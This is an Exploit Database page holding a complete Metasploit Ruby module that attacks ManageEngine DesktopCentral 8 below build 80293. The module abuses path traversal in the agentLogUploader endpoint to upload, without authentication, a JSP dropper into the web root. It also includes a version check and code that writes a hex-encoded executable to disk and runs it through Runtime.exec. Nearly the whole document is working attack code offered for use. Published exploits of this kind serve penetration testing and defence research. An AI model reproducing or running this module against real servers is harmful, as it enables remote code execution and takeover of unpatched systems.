DesktopCentral AgentLogUpload – Arbitrary File Upload (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2013-11-25
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/29812/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'DesktopCentral AgentLogUpload Arbitrary File Upload',
  'Description'=> %q{
  This module exploits an arbitrary file upload vulnerability in DesktopCentral 8.0.0
  belowbuild 80293. A malicious user can upload a JSP file into the web root without
  authentication, leading to arbitrary code execution.
  },
  'Author' =>
  [
  'Thomas Hibbert <thomas.hibbert[at]security-assessment.com>' # Vulnerability discovery and MSF module
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'URL', 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf' ]
  ],
  'Platform' => 'win',
  'Arch' => ARCH_X86,
  'Targets'=>
  [
  [ 'Manage Desktop Central 8 server / Windows', {} ]
  ],
  'Privileged' => true,
  'DefaultTarget'=> 0,
  'DisclosureDate' => 'Nov 11 2013'
  ))
  
  register_options([Opt::RPORT(8020)], self.class)
  end
  
  def upload_file(filename, contents)
  res = send_request_cgi({
  'uri' => normalize_uri("agentLogUploader?computerName=DesktopCentral&domainName=webapps&customerId=..&filename=#{filename}"),
  'method'=> 'POST',
  'data'=> contents,
  'ctype' => "text/html"
  })
  
  if res and res.code == 200 and res.body.to_s.empty?
  return true
  else
  return false
  end
  end
  
  def check
  res = send_request_cgi({
  'uri' => normalize_uri("configurations.do"),
  'method' => 'GET'
  })
  
  if res and res.code == 200 and res.body.to_s =~ /ManageEngine Desktop Central 8/ and res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/
  build = $1
  print_status("Manage Desktop Central 8 build #{build} found")
  if build < "80293"
  return Exploit::CheckCode::Vulnerable
  else
  return Exploit::CheckCode::Safe
  end
  end
  
  res = send_request_cgi({
  'uri' => normalize_uri("agentLogUploader"),
  'method' => 'POST'
  })
  
  if res and res.code == 200
  return Exploit::CheckCode::Detected
  end
  
  return Exploit::CheckCode::Safe
  end
  
  def exploit
  print_status("#{peer} - Uploading JSP to execute the payload")
  
  exe = payload.encoded_exe
  exe_filename = rand_text_alpha_lower(8) + ".exe"
  
  dropper = jsp_drop_and_execute(exe, exe_filename)
  dropper_filename = rand_text_alpha_lower(8) + ".jsp"
  
  if upload_file(dropper_filename, dropper)
  register_files_for_cleanup(exe_filename)
  register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{dropper_filename}")
  else
  fail_with(Exploit::Failure::Unknown, "#{peer} - JSP upload failed")
  end
  
  print_status("#{peer} - Executing payload")
  send_request_cgi(
  {
  'uri'=> normalize_uri(dropper_filename),
  'method' => 'GET'
  })
  end
  
  def jsp_drop_bin(bin_data, output_file)
  jspraw =%Q|<%@ page import="java.io.*" %>\n|
  jspraw << %Q|<%\n|
  jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
  
  jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
  
  jspraw << %Q|int numbytes = data.length();\n|
  
  jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
  jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
  jspraw << %Q|{\n|
  jspraw << %Q|char char1 = (char) data.charAt(counter);\n|
  jspraw << %Q|char char2 = (char) data.charAt(counter + 1);\n|
  jspraw << %Q|int comb = Character.digit(char1, 16) & 0xff;\n|
  jspraw << %Q|comb <<= 4;\n|
  jspraw << %Q|comb += Character.digit(char2, 16) & 0xff;\n|
  jspraw << %Q|bytes[counter/2] = (byte)comb;\n|
  jspraw << %Q|}\n|
  
  jspraw << %Q|outputstream.write(bytes);\n|
  jspraw << %Q|outputstream.close();\n|
  jspraw << %Q|%>\n|
  
  jspraw
  end
  
  def jsp_execute_command(command)
  jspraw =%Q|\n|
  jspraw << %Q|<%\n|
  jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
  jspraw << %Q|%>\n|
  
  jspraw
  end
  
  def jsp_drop_and_execute(bin_data, output_file)
  jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
  end
  end